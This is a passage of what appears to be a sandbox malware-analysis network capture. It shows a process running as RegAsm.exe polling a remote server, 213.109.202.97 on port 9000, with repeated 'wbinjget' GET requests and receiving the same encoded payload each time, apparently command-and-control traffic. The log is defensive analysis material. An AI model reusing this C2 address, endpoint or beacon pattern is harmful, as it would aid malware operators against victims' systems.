Oct 19, 2024 03:38:29.083816051 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:28 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	50046	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:29.200926065 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:30.177077055 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:29 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	50047	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:30.295821905 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:31.580924988 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:31 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	50049	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:31.701780081 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:32.985375881 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:32 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	50050	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:33.109123945 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:36.995469093 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:36 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	50052	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:37.110311031 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:37.981400967 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:37 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	50053	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:38.093328953 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:39.457355976 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:39 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	50054	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:39.579864979 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:40.470242977 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:40 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	50055	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:40.591743946 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:41.494236946 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:41 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	50056	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:41.670816898 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:42.542532921 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:42 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	50057	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:42.656837940 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	50059	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:51.158309937 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:52.028714895 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:51 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	50060	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:52.141468048 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:57.060837030 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:56 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	50061	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:57.170536041 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:58.052311897 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:57 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	50062	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:58.170892000 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:59.035166025 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:57 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	50063	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:59.161155939 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:00.051151037 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:59 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	50064	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:00.170319080 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:01.048266888 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:00 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	50065	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:01.312748909 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:02.183737993 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:02 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	50066	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:02.295496941 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:03.188652039 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:03 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	50068	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:03.319351912 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:04.212723970 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:04 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	50069	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:04.423593044 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:05.307985067 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:05 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	50070	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:05.420711040 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
